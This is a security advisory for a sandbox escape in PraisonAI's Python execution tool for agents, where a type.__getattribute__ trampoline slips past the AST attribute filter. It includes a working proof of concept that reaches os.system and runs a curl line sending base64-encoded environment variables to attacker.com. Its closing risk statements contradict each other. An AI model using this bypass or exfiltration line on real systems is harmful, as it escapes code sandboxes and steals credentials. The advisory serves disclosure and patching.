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PYSEC-2026-2898
No affected components available
PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code.
Description
The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing bypass via:
The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions.
type.__getattribute__(obj, '__subclasses__') # Bypasses filter
The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list.
Proof of Concept
# This code bypasses the sandbox and achieves RCE
t = type
int_cls = t(1)
# Bypass blocked __bases__ via type.__getattribute__
bases = t.__getattribute__(int_cls, '__bases__')
obj_cls = bases[0]
# Bypass blocked __subclasses__
subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__')
all_subclasses = subclasses_fn()
# Find _wrap_close class
for c in all_subclasses:
if t.__getattribute__(c, '__name__') == '_wrap_close':
# Get __init__.__globals__ via bypass
init = t.__getattribute__(c, '__init__')
glb = type(init).__getattribute__(init, '__globals__')
# Get system function and execute
system = glb['system']
system('curl https://attacker.com/steal --data "$(env | base64)"')
Impact
This vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.
An attacker can:
- Access sensitive data such as environment variables, API keys, and local files
- Execute arbitrary system commands
- Modify or delete files on the system
In environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.
Affected Code
# praisonaiagents/tools/python_tools.py (approximate)
def _execute_code_direct(code, ...):
tree = ast.parse(code)
for node in ast.walk(tree):
# Only checks ast.Attribute nodes
if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:
raise SecurityError(...)
# Bypass: string arguments are not checked
exec(compiled, safe_globals)
Reporter: Lakshmikanthan K (letchupkt)
The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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